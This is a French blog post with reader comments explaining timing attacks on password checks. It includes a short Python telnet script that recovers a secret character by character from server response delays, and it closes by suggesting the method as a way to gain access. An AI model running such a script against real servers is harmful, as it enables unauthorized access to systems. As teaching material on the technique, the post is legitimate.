Le temps est une des principales unités de mesures.
Aujourd’hui les systèmes sont de plus en plus rapide, et un simple contre temps peut faire tomber une machine. Ce n’est pas une attaque très répandue, mais laissez moi vous presenter : La Timing Attack !
Principe de l’attaque :
Imaginons que vous avez un serveur. Un utilisateur tente de se connecter dessus. Le service en charge de la vérification du mot de passe procède comme suit :
Si la 1er condition est remplie, alors {
Faire des trucs
Si la 2eme condition est remplie alors{
Faire des trucs
Si la 3eme condition est remplie alors …
Quand le script exécute « Faire des trucs » cela prend du temps. Le principe de cette attaque est donc de jouer avec les temps de réponse du serveur. Plus le temps est long et plus nous avons remplie de condition. Autrement dit plus nous sommes proches de la bonne solution !
Concrètement on pourrait avoir un code ce genre :
import time import telnetlib result="" i=0 ca=["1","2","3","4","5","6","7","8","9","0","-"] tn = telnetlib.Telnet(HOST,PORT) print tn.read_some() while (len(result)<12): chaine="%s%s" % (result,ca[i]) debut=time.time() tn.write(chaine) tn.read_some() fin=time.time() if((fin-debut)>2): print(chaine) result+=ca[i] i=-1 i+=1 print('Le flag est : %s' % result)
Voila, pour ce petit tour de la timing attack ! Pensez donc à vérifier les temps de réponse du serveur, cela peut être une bonne façon d’obtenir un accès !
Cool 🙂 Je ne connaissais pas !
Bonjour,
Merci pour les explications sur la Timing Attack et pour ce script Python mais il semblerait que certains caractères dans le code aient étés filtrés automatiquement (remplacés par le tag « data-blogger-escaped » à priori …). J’ai voulu testé le script mais du coup le code est KO (syntaxe incorrecte), dans les conditions de la boucle while.
Salut,
En effet l’importation depuis blogger s’est un peu mal passé, j’ai corrigé 🙂
Merci d’avoir signalé 🙂
Super ! Merci pour la correction 🙂